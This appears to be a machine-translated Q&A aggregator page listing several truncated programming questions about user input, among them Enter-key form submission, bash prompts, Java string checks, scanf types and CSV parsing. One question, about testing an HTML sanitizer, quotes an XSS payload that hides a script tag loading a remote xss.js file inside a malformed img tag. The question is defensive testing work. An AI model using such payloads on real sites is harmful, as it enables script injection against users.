我在HTML页面上有一个表单,其中有多个提交按钮,可执行不同的操作.但是,当用户在文本输入中键入值并点击输入时,浏览器通常表现为按顺序激活下一个提交按钮.我想要一个特定的动作发生,所以我发现一个解决方案是在有问题的文本输入后直接将不可见的提交按钮放入HTML中,如下所示:
<input type="text" name="something" value="blah"/>
<input type=submit name="desired" value="Save Earth" style="display: none"/>
...
<input type=submit name="something_else" value="Destroy Earth" />
...
<input id="foobar" type=submit name="desired" value="Save Earth" />
Run Code Online (Sandbox Code Playgroud)
这在大多数浏览器中都很有魅力,除了它在Safari和Chrome等webkit浏览器中没有.出于某种原因,他们跳过了隐形提交按钮.我一直试图弄清楚如何拦截输入键按下并使用Javascript激活正确的提交,但我无法让它工作.拦截keydown并将注意力集中在正确的提交上是行不通的.
有没有办法使用Javascript或其他方式选择当用户点击HTML表单上的文本输入中的回车键时将使用哪个提交按钮?
编辑:为了澄清,表单不能要求Javascript从根本上"工作".如果在webkit浏览器上没有Javascript,我不在乎输入密钥提交是否是不可取的,但是我无法删除或更改提交按钮的顺序.
这是我尝试过的,它不会改变webkit浏览器中的提交行为.
有用的是将以下代码中的focus()更改为click().
document.onkeypress = processKey;
function processKey(e)
{
if (null == e)
e = window.event ;
if (e.keyCode == 13) {
document.getElementById("foobar").click(); // previously: focus()
}
}
Run Code Online (Sandbox Code Playgroud)
编辑:最终解决方案:
适用于每个浏览器,只在需要时拦截输入密钥:
HTML:
<input type="text" name="something" value="blah"
onkeydown="return processKey(event)" />
<input type=submit name="desired" value="Save Earth" style="display: none"/>
...
<input …Run Code Online (Sandbox Code Playgroud) 我想做的很简单
Do you want to do that? [Y,n] _
Run Code Online (Sandbox Code Playgroud)
bash中的问题.
我试过了
echo "Do that? [Y,n]"
read DO_THAT
if ["DO_THAT"="y"]; then
do_that
fi
Run Code Online (Sandbox Code Playgroud)
但它失败了: bash: [y=y]: command not found
我究竟做错了什么??!
我一直在尝试制作用户可以设置的时钟.我希望用户被问到问题,他们用"是"或"否"等字回答.我已经完成了使用此代码不会改变的事情,例如用户是否想要显示秒数,但是当我想要更改字符串时,它不起作用,例如从AM到PM当小时数超过12时.这是我正在使用的:
System.out.println("AM or PM?");
Scanner TimeOfDayQ = new Scanner(System.in);
TimeOfDayStringQ = TimeOfDayQ.next();
if(!TimeOfDayStringQ.equals("AM") || !TimeOfDayStringQ.equals("PM")) {
System.out.println("Sorry, incorrect input.");
System.exit(1);
}
...
if(Hours == 13){
if (TimeOfDayStringQ.equals("AM")) {
TimeOfDayStringQ.equals("PM");
} else {
TimeOfDayStringQ.equals("AM");
}
Hours = 1;
}
}
Run Code Online (Sandbox Code Playgroud)
每当我输入任何东西时,它提示我,无论我是AM,PM还是其他明智的,它都会给我错误,我写了然后退出.当我删除用错误终止程序的代码部分时,当小时数等于13时,它不会将字符串从AM更改为PM.感谢您的帮助,非常感谢.
我正在寻找一个html杀菌剂,显然要测试/证明它正常工作,我需要一组XSS示例来反对它以了解它的表现.这是Coding Horror的一个很好的例子
<img src=""http://www.a.com/a.jpg<script type=text/javascript
src="http://1.2.3.4:81/xss.js">" /><<img
src=""http://www.a.com/a.jpg</script>"
Run Code Online (Sandbox Code Playgroud)
我知道有一个Mime酷刑测试,其中包含几个带有附件的嵌套电子邮件,这些附件用于测试Mime解码器(如果他们能够正确解码它们,那么它们已被证明有效).我基本上都在为XSS寻找一个等效的,即一个狡猾的html示例列表,我可以把它放在我的杀菌剂上,以确保它正常工作.
如果有人也有任何关于如何编写杀菌剂的好资源(即人们试图使用的常见漏洞等),他们也会感激不尽.
提前致谢 :-)
编辑:对不起,如果以前不清楚,但我是经过一系列酷刑测试,所以我可以为杀菌剂编写单元测试,而不是在浏览器中测试等等.理论上的源数据可能来自任何地方 - 不只是一个浏览器.
我想允许我的应用的用户在地图中选择一个位置.原生地图有一个"drop pin"功能,您可以通过放置引脚来定位.我怎么能在MapKit中做到这一点?
我正在寻找一种方法来"修复"一个美元符号$到一个文本输入框,例如<input type="text" value="$" />但是不能删除默认值,这样无论用户输入什么,总会有一个$符号'prepending'输入.
干杯
好的,我有一个设备列表,我可以选择要编辑的设备.我有3个状态用于编辑.未选择任何设备时,选择1个设备或选择x设备时.
我遇到的问题是当用户在textarea(commentField)中键入一些文本并取消编辑以编辑另一个设备时,在textarea中键入的文本将不会消失.它保持不变,当我获得新编辑的新对话框时,注释字段具有来自旧commentField的文本(就好像它没有被清除)
我已经尝试了以下代码来删除文本(当按下取消按钮时以及当我开始一个新对话框时),但没有任何作用:
$("#commentField").text(" ");
$("#commentField").value = ' ';
Run Code Online (Sandbox Code Playgroud)
有谁知道如何使用jQuery从textarea中删除用户输入的文本?
提前致谢.
-雷神
我理解int16_t或int32_t在C中的方式是它们在您的计算机上分别被命名为16位和32位数字.我相信当你需要保证数字为16或32位时你会使用这些,因为不同的系统并不总是代表int32位或short16位(这个假设是正确的吗?当我在网上看时,我找到了混合的答案.) .
我的问题是当我要求它们实际上是16位或32位或其他什么时,我将如何使用一个函数scanf来获取来自具有int16_t或者int32_t或任何其他类型定义数字类型的用户的输入?有某种特殊的字符串修饰符吗?通常情况下,如果我想int从一个用户那里得到一个没有关心它实际表示多大的用户,我会写这样的东西
scanf("%d", &int);
Run Code Online (Sandbox Code Playgroud)
这是有效的,如果我传入一个,int32_t但我认为它只是因为int我的系统是32位,它没有特别给我一个32位数,而只是给了我一个int.我如何获得保证为32位的数字?我查看了这个字符串修饰符和其他一些地方的页面,但没有提到这些类型定义的数字类型.
编辑:自从收到我的问题的答案后,我做了一些谷歌搜索并找到了这个.我将它包括在下面以供参考.
uppercase hexadecimal printf format for uintptr_t
#define SCNd16 "d"
decimal scanf format for int16_t
#define SCNd32 "ld"
decimal scanf format for int32_t
#define SCNd8 "hhd"
decimal scanf format for int8_t
#define SCNdFAST16 "d"
decimal scanf format for int_fast16_t
#define SCNdFAST32 "ld"
decimal scanf format …Run Code Online (Sandbox Code Playgroud) 我希望用户上传.csv文件,然后让浏览器能够解析该文件中的数据.我正在使用ReactJS.这怎么样?谢谢.
我正在编写一个代码来使用BufferedInputStream来读取用户的输入,但是当BufferedInputStream读取字节时,我的程序只读取第一个字节并打印它.有没有什么方法可以读取/存储/打印整个输入(这将是整数)除了只读取第一个字节?
import java.util.*;
import java.io.*;
class EnormousInputTest{
public static void main(String[] args)throws IOException {
BufferedInputStream bf = new BufferedInputStream(System.in) ;
try{
char c = (char)bf.read();
System.out.println(c);
}
finally{
bf.close();
}
}
}
Run Code Online (Sandbox Code Playgroud)
输出:
[shadow @ localhost codechef] $ java EnormousInputTest 5452 5
user-input ×10
javascript ×3
input ×2
java ×2
bash ×1
c ×1
csv ×1
google-maps ×1
html ×1
if-statement ×1
iphone ×1
jquery ×1
jquery-ui ×1
mkannotation ×1
mkmapview ×1
reactjs ×1
scanf ×1
string ×1
submit ×1
testing ×1
text ×1
textarea ×1
time ×1
webforms ×1
xss ×1